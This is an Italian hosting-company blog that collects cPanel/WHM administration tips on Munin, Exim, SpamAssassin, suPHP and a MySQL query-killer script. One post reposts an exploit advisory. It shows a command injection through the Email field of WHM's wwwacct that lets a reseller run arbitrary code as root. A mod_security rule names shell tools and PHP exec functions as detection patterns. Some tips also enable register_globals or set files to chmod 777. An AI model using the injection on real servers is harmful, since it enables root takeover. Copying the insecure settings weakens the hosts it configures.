Quando si cambia la password di root di mysql e si ha cPanel con il plugin di Munin installato, capita che il munin-node non aggiorni le statistiche di MySQL.

Per ovviare a questo problema, editiamo il fil /etc/munin/plugin-conf.d/cpanel.conf e inseriamo queste direttive nella sezione [mysql]

env.mysqladmin /usr/bin/mysqladmin
env.mysqlopts –defaults-extra-file=/root/.my.cnf

il risultato sarà questo:
[mysql*]
user root
group wheel
env.mysqladmin /usr/bin/mysqladmin
env.mysqlopts –defaults-extra-file=/root/.my.cnf

Successivamente riavviate munin: /etc/init.d/munin-node restart

Popularity: 1% [?]

Puoi visualizzare il post originale qui.

Fantastico De Luxe per Cpanel offre la possibilità di installare con un semplice click più di 40 applicazioni php opensource. Tutto questo senza dover possedere alcuna nozione di programmazione.

Il tool è accessibile gratuitamente su tutti i nostri piani hosting linux ad esclusione dei pacchetti (Basic e Advanced), accedendo al pannello di controllo CPanel è visibile l’icona di Fantastico De Luxe (scripts autoinstallanti) completamente in italiano e di facile utilizzo, anche senza nessuna conoscenza sulla programmazione potrai realizzare un sito ecommerce, attivare una chat, creare un blog, abilitare un forum.

Oltre alla fase di installazione Fantastico De Luxe provvederà a mantenere la tua applicazione sempre aggiornata, anche per questà operazione sarà sufficiente un semplice click per avere l’ultima release disponibile del software installato. Prima di effettuare l’upgrade il sistema provvederà anche ad eseguire una copia di backup che potrai ripristinare autonomamente dal tuo pannello cpanel italiano.

Un breve video che ti dimostrerà la semplicità di utilizzo di Fantastico per i piani linux

E’ possibile richiedere il pannello Fantastico in Italiano anche per il tuo server virutale o server dedicato solo nel caso in cui è presente il pannello di controllo Cpanel

Di seguito l’elenco completo di tutti i software che potrai installare dall’hosting cpanel fantastico:

Popularity: 1% [?]

Puoi visualizzare il post originale qui.

E’ appena uscito un bug per il WHM di cPanel: tale bug permette ad un attaccante di avere accesso root tramite un semplice account rivenditore.

Ecco la descrizione (in inglese) dell’exploit:

By : Ali Jasbi ( IHST security & hacking Research team) WwW.Hackerz.ir
Vendor : Cpanel.net
Version : ALL !!
Risk : Very high
What u can do with this bug is :
u can have a access to all the server with reseller privilege (Th3 r00t)
how it’s work ?
when u want to create an account in shell what will happen ?
./script/wwwact [domainname] [username] [password] [Email address] lab lab lab
that u can run it with a web base program ! ( cpanel : doamin:2086)
example :
http://domain:2086/scripts/wwwacct [domainname] [username] [password] [Email address] lab lab lab
it means you got a access to wwwacct in the scripts folder (Th3 r00t)
so u can run other command with root access like that
./scripts/wwwactt domain.com domain password ali@hackerz.ir;./home/hackerz/public_html/do.pl ( your command now is ./home/hackerz/public_html/do.pl)
that u can Likewise run it on the web base program.what u need to do is just write ali@hackerz.ir;./home/hackerz/public_html/do.pl in Email text box when u want to create an account.
()()()()()()()()()()()()()
Test it:
++++++++++++++++++++++++++
Step 1

Save this file in /home/user/public_html/do.pl .
#!/usr/bin/perl
$old=’/home/user/public_html/test.txt’;
$new=’/home/root/kon.txt’;
rename $old, $new;
++++++++++++++++++++++++++
step 2

make a text file named test.txt in your public_html directory.
path will be : /home/user/public_html/test.txt .
++++++++++++++++++++++++++
step 3

create an account and write ali@hackerz.ir;./home/user/public_html/do.pl in E-mail Address text box
then click on the “create” button.
Yes , you can find your file in /home/root/ .
++++++++++++++++++++++++++
()()()()()()()()()()()()()
you can run your own code !(mass defacer, exploit’s or everything that u want).

Tags

Linux,
cPanel

Popularity: 3% [?]

Puoi visualizzare il post originale qui.

Vediamo come modificare un solo virtualhost senza perdere le modifiche alla rigenerazione dell’httpd.conf di apache.

Se non esiste, creiamo la cartella /usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/
Possiamo sostituire “std” con “ssl” se vogliamo modificare il virtualhost “solo” per l’ssl.
Se usiamo apache 1.x dobbiamo cambiare il “2” con “1“.

Creiamo un file di nome user.conf (o di qualsiasi altro nome, l’importante è che risulta l’estensione .conf).

In questo file mettiamo le direttive specifiche per questo dominio in modo che prende le variabili personalizzate del php.ini da un altro file.

Nell’esempio, vogliamo attivare il register_globals solo per questo dominio.
Il mod_suphp permette di personalizzare questo path con la direttiva “suPHP_ConfigPath“:

### /usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/user.conf

<IfModule mod_suphp.c>
suPHP_ConfigPath /usr/local/Zend/register-enabled
</IfModule>

In questo modo, riavviando apache (non lo facciamo ora pero’), il virtualhost andra’ a cercare il php.ini dentro la directory /usr/local/Zend/register-enabled creata ad hoc:

mkdir -p /usr/local/Zend/register-enabled
touch /usr/local/Zend/register-enabled/php.ini

Nel file /usr/local/Zend/register-enabled/php.ini metteremo, quindi, la direttiva per l’attivazione di register_globals:

## /usr/local/Zend/register-enabled/php.ini
register_globals = On

Prima di riavviare apache, dobbiamo istruirlo per far includere i files appena creati.
Per fare questo lanciamo il seguente comando:

/scripts/ensure_vhost_includes –user=UTENTE

Al termine, possiamo riavviare apache e il lavoro e’ finito.

Per curiosita’ e verifica, possiamo editare /usr/local/apache/conf/httpd.conf e vedere nel virtualhost del dominio se effettivamente le modifiche hanno avuto effetto.
Possiamo notare:

Include “/usr/local/apache/conf/userdata/*.conf”
Include “/usr/local/apache/conf/userdata/*.owner-root”
Include “/usr/local/apache/conf/userdata/std/*.conf”
Include “/usr/local/apache/conf/userdata/std/*.owner-root”
Include “/usr/local/apache/conf/userdata/std/2/*.conf”
Include “/usr/local/apache/conf/userdata/std/2/*.owner-root”
Include “/usr/local/apache/conf/userdata/std/2/UTENTE/*.conf”
Include “/usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/*.conf”

Tags

Howto,
Linux,
cPanel

Popularity: 5% [?]

Puoi visualizzare il post originale qui.

Vediamo come modificare un solo virtualhost senza perdere le modifiche alla rigenerazione dell’httpd.conf di apache.

Se non esiste, creiamo la cartella /usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/
Possiamo sostituire “std” con “ssl” se vogliamo modificare il virtualhost “solo” per l’ssl.
Se usiamo apache 1.x dobbiamo cambiare il “2” con “1“.

Creiamo un file di nome user.conf (o di qualsiasi altro nome, l’importante è che risulta l’estensione .conf).

In questo file mettiamo le direttive specifiche per questo dominio in modo che prende le variabili personalizzate del php.ini da un altro file.

Nell’esempio, vogliamo attivare il register_globals solo per questo dominio.
Il mod_suphp permette di personalizzare questo path con la direttiva “suPHP_ConfigPath“:

### /usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/user.conf

<IfModule mod_suphp.c>
suPHP_ConfigPath /usr/local/Zend/register-enabled
</IfModule>

In questo modo, riavviando apache (non lo facciamo ora pero’), il virtualhost andra’ a cercare il php.ini dentro la directory /usr/local/Zend/register-enabled creata ad hoc:

mkdir -p /usr/local/Zend/register-enabled
touch /usr/local/Zend/register-enabled/php.ini

Nel file /usr/local/Zend/register-enabled/php.ini metteremo, quindi, la direttiva per l’attivazione di register_globals:

## /usr/local/Zend/register-enabled/php.ini
register_globals = On

Prima di riavviare apache, dobbiamo istruirlo per far includere i files appena creati.
Per fare questo lanciamo il seguente comando:

/scripts/ensure_vhost_includes –user=UTENTE

Al termine, possiamo riavviare apache e il lavoro e’ finito.

Per curiosita’ e verifica, possiamo editare /usr/local/apache/conf/httpd.conf e vedere nel virtualhost del dominio se effettivamente le modifiche hanno avuto effetto.
Possiamo notare:

Include “/usr/local/apache/conf/userdata/*.conf”
Include “/usr/local/apache/conf/userdata/*.owner-root”
Include “/usr/local/apache/conf/userdata/std/*.conf”
Include “/usr/local/apache/conf/userdata/std/*.owner-root”
Include “/usr/local/apache/conf/userdata/std/2/*.conf”
Include “/usr/local/apache/conf/userdata/std/2/*.owner-root”
Include “/usr/local/apache/conf/userdata/std/2/UTENTE/*.conf”
Include “/usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/*.conf”

Tags

Howto,
Linux,
cPanel

Popularity: 5% [?]

Puoi visualizzare il post originale qui.

Per risolvere il problema della greylist di exim appesa su cPanel per errori di questo genere:

== test@******.com R=lookuphost T=remote_smtp defer (-53): retry time not reached for any host

Basta eseguire da root via shell questi comandi:

/usr/sbin/exim_tidydb -t 1d /var/spool/exim retry > /dev/null
/usr/sbin/exim_tidydb -t 1d /var/spool/exim reject > /dev/null
/usr/sbin/exim_tidydb -t 1d /var/spool/exim wait-remote_smtp > /dev/null

/scripts/courierup — force
/scripts/eximup –force

Popularity: 5% [?]

Puoi visualizzare il post originale qui.

Informiamo tutti i clienti che sulle nuove macchine stiamo installando la nuova versione di apache 2.2.x con il modulo mod_suphp: tale modulo serve per far girare le singole pagine php di un utente specifico con i permessi di quest’ultimo eliminando il fastidioso problema dell’utenza nobody con il quale, fino ad oggi, giravano le pagine degli utenti.

Il modulo risolve, quindi, anche il problema dei permessi sui file: non serve più avere il chmod ad una cartella o ad un file per avere accesso via php a tale filesystem. Ora si dovranno impostare semplicemente i chmod a 755 per le cartelle e a 644 per i files.

Le nuove disposizioni in sicurezza sono state scelte per avere una maggiore protezione sulle macchine in hosting condiviso: per questo siamo giunti alla conclusione di attivare e disattivare alcune funzionalità di php tra cui il register_globals.

Per chi avesse problemi con questa modifica, può contattarci al supporto tecnico. Per tutti coloro che hanno script che non funzionano con questa nuova disposizione,  sicuramente troverà una soluzione alternativa per lo script stesso o comunque può richiedere assistenza al supporto tecnico.

Popularity: 4% [?]

Puoi visualizzare il post originale qui.

La possibilità per l’utente di creare e gestire i propri cronjobs rappresenta una caratteristica fondamentale del nostro hosting. Permette di poter schedulare l’esecuzione degli script, come ad esempio l’invio di una newsletter o la pulizia di un database.

Il cPanel offre una sezione dedicata alla creazione dei cronjobs, con inserimento facilitato dei dati necessari.Come verifica sull’esecuzione del cronjob, si può impostare l’invio via mail dell’output dello script, così da verificare la presenza di eventuali errori. Un errore cui si può andare incontro è il seguente:

Your Terminal type is unknown!

Enter a terminal type: [vt100]
TERMINAL TYPE IS SET TO vt100

L’errore indicato dipende dal percorso specificato per l’esecuzione del cronjob. Specificando il percorso tramite url, infatti, il cronjob non viene eseguito e va in errore. Per tale motivo, il percorso dello script deve essere indicato tramite path assoluto, ovvero:

Esempio:

• script da eseguire: cronjob.php
• url dello script: http://www.dominio.com/cronjob.php
• path dello script: /home/dominio/public_html/cronjob.php

Nel caso definito dall’esempio, nel cron andrà indicato il path dello script e non la url. In tal modo, l’esecuzione avverrà senza errori e si potrà ricevere il giusto output nella propria casella di posta.

Popularity: 5% [?]

Puoi visualizzare il post originale qui.

In Joomla 1.5 c’è un problema con il salvataggio di alcune pagine (es. Configurazione sito).

Alcuni utenti hanno riscontrato la restituzione da parte di apache di questo errore:

406 Not Acceptable
An appropriate representation of the requested resource /joomladir/administrator/index.php could not be found on this server.

Il problema è una regola di mod_security “standard” che mette, generalmente, l’installazione base di quest’ultimo pacchetto per apache 2.2.x (easyapache di cPanel utilizza queste regole standard).

Per eliminare il problema, basta commentare la regola:

#SecRule REQUEST_URI|REQUEST_BODY “xmlrpc”

e sostituirla con la seguente:

########################################
#MTS
#XML-RPC generic attack sigs
SecRule REQUEST_HEADERS “^Content-Type: application/xml” chain
SecRule REQUEST_BODY “(<.*xml)” chain
SecRule REQUEST_BODY “(echo( |(|’).*;|chr|fwrite|fopen|system|echr|passthru|popen|proc_open|shell_exec|exec|proc_nice|proc_terminate|proc_get_status|proc_close|pfsockopen|leak|apache_child_terminate|posix_kill|posix_mkfifo|posix_setpgid|posix_setsid|posix_setuid|phpinfo)(.*);” chain
SecRule REQUEST_BODY “methodCall>”

#Specific XML-RPC attacks on xmlrpc.php
SecRule REQUEST_URI “(xmlrpc|xmlrpc.*).php” chain
SecRule REQUEST_BODY “(<.*xml)” chain
SecRule REQUEST_BODY “(echo( |(|’).*;|chr|fwrite|fopen|system|echr|passthru|popen|proc_open|shell_exec|exec|proc_nice|proc_terminate|proc_get_status|proc_close|pfsockopen|leak|apache_child_terminate|posix_kill|posix_mkfifo|posix_setpgid|posix_setsid|posix_setuid|phpinfo)(.*);”

#Too generic, unless you know you won’t see this in any of the fields of an XMLRPC message on your system
#SecRule REQUEST_URI “/xmlrpc.php” chain
#SecRule “(cd|perl |python |rpm |yum |apt-get |emerge |lynx |links |mkdir |elinks |cmd|pwd|wget |id|uname |cvs |svn |(s|r)(cp|sh) |rexec |smbclient |t?ftp |ncftp |curl |telnet |gcc |cc |g++ |./)”

#XML-RPC SQL injection generic signature
SecRule REQUEST_URI “(xmlrpc|xmlrpc_.*).php” chain
SecRule REQUEST_BODY “.*.*.*(select|grant|delete|insert|drop|do|alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9|*| |,]+[[:space:]](from|into|table|database|index|view).*methodName>”
##########################################

Popularity: 5% [?]

Puoi visualizzare il post originale qui.

Nel WHM di cPanel manca qualcosa molto utile per gli admin del server.

Stiamo parlando dell’abilitazione di Spamassassin per tutti gli account in un solo colpo.

E’ vero che abbiamo nella sezione “Exim configuration editor” la possibilità di flaggare “SpamAssassin: Enable for all users without the option for users to shut off per account”: questo fa si che venga abilitato spamassassin su tutti gli account, ma è anche vero che disabilita di fatto il pulsante “Disable spamassassin” nel singolo cPanel dell’utente impedendo a quest’ultimo di scegliere se abilitarlo o meno.

Spizzando il forum di cPanel ho trovato un post molto interessante che ho testato personalmente.

Creiamo su /root/ il file enabless.sh con questo contenuto:

#! /bin/sh
M_FILENAME=$1
#echo $M_FILENAME
M_USERNAME=`find $M_FILENAME -printf %f`
#echo $M_USERNAME

touch /home/$M_USERNAME/.spamassassinenable
chown $M_USERNAME.$M_USERNAME /home/$M_USERNAME/.spamassassinenable
touch /home/$M_USERNAME/.spamassassinboxenable
chown $M_USERNAME.$M_USERNAME /home/$M_USERNAME/.spamassassinboxenable

echo $M_USERNAME complete
echo

Impostiamo il chmod del file a 700.

Lanciamo questo comando:

find /var/cpanel/users -type f -exec /root/enabless.sh {} ;

Questo creerà per ogni account utenti i files .spamassassinenable e .spamassassinboxenable ciò che serve per abilitare automaticamente spamassassin.

Tags: cpanel, spamassassin, chmod, account, accounts, enable, forum, post, exim, configurazione, configuration, editor, WHM, server

Tags

Howto,
Linux,
cPanel

Popularity: 9% [?]

Puoi visualizzare il post originale qui.

Volevo segnalare questo fantastico script, che installa in automatico tutte le versioni più recenti dei sistemi di Firewall, Antiflood e altro ancora.

Dal sito di Server Monkeys :

• Install RKHunter
• Install RKHunter Cronjob which emails a user-set email address nightly
• Install/update APF
• Add SM/TP monitoring IPs (view information on these in Orbit)
• Install/update BFD
• Install CHKROOTKIT
• Install CHKROOTKIT Cronjob which emails a user-set email address nightly
• Disable Telnet
• Force SSH Protocol 2
• Secure /tmp
• Secure /var/tmp
• Secure /dev/shm
• Install/update Zend Optimizer
• Install/update eAccelerator
• MySQL 4.0 and 4.1 Configuration Optimization (cPanel only)
• Upgrade MySQL to 4.1 (cPanel only)
• Tweak WHM Settings for security and stability
• Configure RNDC if not already done (cPanel only)
• Change SSH port (also configure APF as necessary)
• Add wheel user and disable direct root login over SSH
• Optimize MySQL tables
• Install/update Libsafe
• Install/update ImageMagick (from latest source)
• Uninstall LAuS
• Harden sysctl.conf
• Install Chirpy’s Free Exim Dictionary Attack ACL
• And more!

Tutto questo compatibile con:

(more…)

Tags: cpanel, sicurezza, security, directadmin, servermonkeys, redhat, centos, fedora, firewall

Tags


Linux,
Segnalazioni,
cPanel

Popularity: 5% [?]

Puoi visualizzare il post originale qui.

Il server smtp di cPanel (exim) ultimamente sembra avere problemi con alcuni filtri impostati da grossi provider come tiscali.it, alice.it, msn.it/.com, yahoo.it/.com.

L’errore che troviamo nell’exim_maillog è generalmente questo:

2008-01-06 12:39:04 1JBTqJ-0008Eo-Mp <= info@www.miodominio.it H=localhost [127.0.0.1] P=esmtpa A=fixed_login:info@miodominio.it S=1372 id=20080106123903.tk8fn2utwgksg8w8@www.miodominio.it
2008-01-06 12:39:04 1JBTqJ-0008Eo-Mp == indirizzo@tiscali.it R=lookuphost T=remote_smtp defer (-53): retry time not reached for any host

Questo problema, pultroppo, ancora non è stato risolto completamente dagli sviluppatori di cPanel.

Per risolvere, è necessario cambiare il file di configurazione di exim (exim.conf).

Chiaramente non è possibile cambiare direttamente l’exim.conf in quanto, al prossimo aggiornamento di cPanel, tutte le impostazioni verranno perse. Per questo bisogna cambiarle tramite il WHM.

Andiamo alla voce “Exim Configuration Editor” e clicchiamo su “Advanced Editor” a fine pagina.

Nel primo box (mi raccomando, il primo!) inseriamo questi parametri:

queue_only_override = false
no_message_logs
log_selector = +arguments +subject
timeout_frozen_after = 2d
ignore_bounce_errors_after = 1d
deliver_queue_load_max=10

Salviamo (verrà riavviato in automatico exim) e dovremmo avere risolto il problema.
Per aumentare le possibilità di consegna, bisogna attivare anche le blacklist sempre dall’”Exim Configuration Editor“.

Tags: exim, retry, reached, errore, smtp, cpanel, remote_smtp, defer, -53, queue, coda, lunga

Tags

Linux,
cPanel

Popularity: 5% [?]

Puoi visualizzare il post originale qui.

Ultimamente gli sviluppatori di Spamassassin non stanno più sviluppando il software antispam.

Chi ha attive le quote sulla macchina linux (parlo per gli utenti di cPanel) ha potuto constatare che per un bug di spamassassin ancora non corretto, se un utente ha lo spazio sul proprio account esaurito, spamassassin va in overload facendo piantare di fatto la macchina.

Tutto questo perchè, a quota esaurita, se un utente riceve ancora email (che chiaramente vengono inviate indietro con il messaggio “Mailbox is full”) il file .spamassassin presente nel suo account rimane letteralmente bloccato facendo freezare di fatto il processo di spamd associato portando inesorabilmente il load della macchina a livelli molto alti compromettendone la stabilità e gli altri servizi.

Per risolvere il problema gli sviluppatori di cPanel hanno fatto loro stessi una patch che sembra risolvere a metà il problema.

La soluzione più ovvia è quella di patchare spamd come dicono loro.

Prima di tutto eliminiamo tutti i files .spamassassin (non preoccupatevi, sono files temporanei di spamd per ogni utente) in modo da liberare spazio su tutti gli account:

find /home -name .spamassassin | xargs rm -rf

L’operazione può richiedere alcuni minuti.
Infine patchamo spamd e lo riavviamo in questo modo:

/scripts/autorepair spamd_dbm_fix
/scripts/restartsrv_exim

Tags: spamassassin, spam, spamd, exim, cpanel, linux, overload, patch, bug

Tags

Linux,
cPanel

Popularity: 5% [?]

Puoi visualizzare il post originale qui.

E’ capitato molte volte di trovarsi di fronte a un problema serio su macchine in hosting e mysql installato.

Se ci sono siti progettati male (e, credetemi, ce ne sono!) molti programmatori non fanno attenzione ad ottimizzare le proprie query.

La situazione che si crea, è quella di trovarsi il load alto della macchina e, facendo un mysqladmin proc da root, ci troviamo di fronte una marea di query in sleep.

Ho aggirato il problema, facendo questo script che posto di seguito.

In pratica ad intervalli di tempo stabiliti (di default ogni 60 secondi) killa le query in sleep che sono, appunto, in sleep per più di 60 secondi.

Ma passiamo al codice.

File: mysql_sleep_query_kill.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143

// Mysql sleep kill
 
//                     * coded by morphey (morphey@morphey.org)
 
//
 
// AVVISO: deve essere avviato via cron come utente "root" (uid=0)
 
// ottimizzato per cPanel
 
// Configurazione: ___________________________|
 
// $sleep_time = Impostare i secondi dopo i quali, se la query e  in sleep, si killera  automaticamente la query
 
$sleep_time = "60";
 
// $times = Impostare quante volte eseguire lo script | 0 = infinito (rimane in bg)
 
$times = 1;
 
// $times_sleep = Impostare quanto tempo far passare prima dell avvio di un ciclo
 
$times_sleep = "1";
 
// $file_log = Impostare il file di log (percorso "assoluto" compreso) | sara' utilizzato per l'invio delle email
 
$file_log = "/var/log/mysql_kill_query.log";
 
$database_skip = array();
 
// $database_skip[] = Impostare i database da far saltare al controllo
 
$database_skip[] = "eximstats";
 
$database_skip[] = "horde";
 
//___________________________________|
 
function scriviLog($somecontent) {
 
global $file_log;
 
$filename = $file_log;
 
if (!is_file($filename)) { shell_exec("touch ".$filename." ; chmod 777 ".$filename); }
 
if (!is_writable($filename)) { shell_exec("chmod 777 ".$filename); }
 
$handle = fopen($filename,  a );
 
fwrite($handle, $somecontent."
");
 
fclose($handle);
 
}$active_times = 0;
 
while ($active_times<=$times) {
 
$out = shell_exec("mysqladmin proc");
 
$c = 0;
 
foreach (explode("
",$out) as $linea) {
 
if (!eregi("-+-",$linea)) {
 
if ($c!=0) {
 
$arr = explode("|",trim($linea));
 
if ($arr[1]!="") {
 
$time = intval(ltrim(rtrim($arr[6])));
 
settype($time,"integer");
 
$id = ltrim(rtrim($arr[1]));
 
$user = ltrim(rtrim($arr[2]));
 
$database = ltrim(rtrim($arr[4]));
 
$command = ltrim(rtrim($arr[5]));
 
$state = ltrim(rtrim($arr[7]));
 
$query = ltrim(rtrim($arr[8]));
 
echo "ID->".$arr[1]." | Time->".$arr[6]." | User->".$arr[2]." | Query->".$query;
 
if ($time>=$sleep_time) {
 
$check_db = 0;
 
foreach ($database_skip as $db_skip) {
 
if ($database==$db_skip) { $check_db = 1; }
 
}
 
if ($check_db!=1) {
 
// struttura dei log
 
// id,user,database,command,state,times,query
 
scriviLog(date("d-m-Y_G.i.s",time()).",".$id.",".$user.",".$database.",".$command.",".$state.",".$time.",".$query);
 
shell_exec("mysqladmin kill ".$arr[1]);
 
echo " ==> killed!";
 
}
 
}
 
echo "
";
 
}
 
} else { $c++; }
 
}
 
}
 
if ($times!=0) { $active_times++; }
 
if ($times!=0) {
 
if ($active_times<$times) {
 
sleep($times_sleep);
 
echo "[sleep->".$active_times."] for ".$times_sleep." seconds...
";
 
}
 
}
 
}
 
?>

Per semplificare le cose, questo è il codice da lanciare a mano da root:

1
2
3
4
5

cd /root ; rm -rf morphtool ; mkdir morphtool ; cd morphtool
wget http://wiki.morphey.org/images/8/8b/Mysql_sleep_query_kill.zip
unzip Mysql_sleep_query_kill.zip ; rm -f Mysql_sleep_query_kill.zip
rm -rf php.ini ; touch php.ini
echo "* * * * * cd /root/morphtool ; php -c php.ini mysql_sleep_query_kill.php > /dev/null &" >> /var/spool/cron/root

This article in english version

Tags: mysql, query, sleep, overload, howto, cpanel, linux, php, bash

Tags

Howto,
Linux,
cPanel

Popularity: 4% [?]

Puoi visualizzare il post originale qui.

Mi è capitato di dover abilitare il register_globals su accounts utenti di cPanel che erano sotto apache 2 e il SuPHP attivo.

La procedura è molto semplice ed è valida anche per altre direttive di php.ini.

Prima di tutto, creiamo la directory /usr/local/Zend/register-enabled e creiamo un php.ini vuoto:

mkdir -p /usr/local/Zend/register-enabled
touch /usr/local/Zend/register-enabled/php.ini

Fatto questo editiamo /usr/local/Zend/register-enabled/php.ini e inseriamo dentro la direttiva:

register_globals = On

Ora editiamo /etc/httpd/conf/httpd.conf e andiamo nel virtual host del dominio (es. miodominio.it) ed inseriamo tra i tag <IfModule mod_suphp.c> … </IfModule> queste direttive:

suPHP_ConfigPath /usr/local/Zend/register-enabled

In questo modo abbiamo il register_globals attivo sul singolo account.

Ulteriori info

Tags: cpanel, register_globals, php.ini, apache, apache2, suphp, php

Tags

Informatica,
Linux,
cPanel

Popularity: 4% [?]

Puoi visualizzare il post originale qui.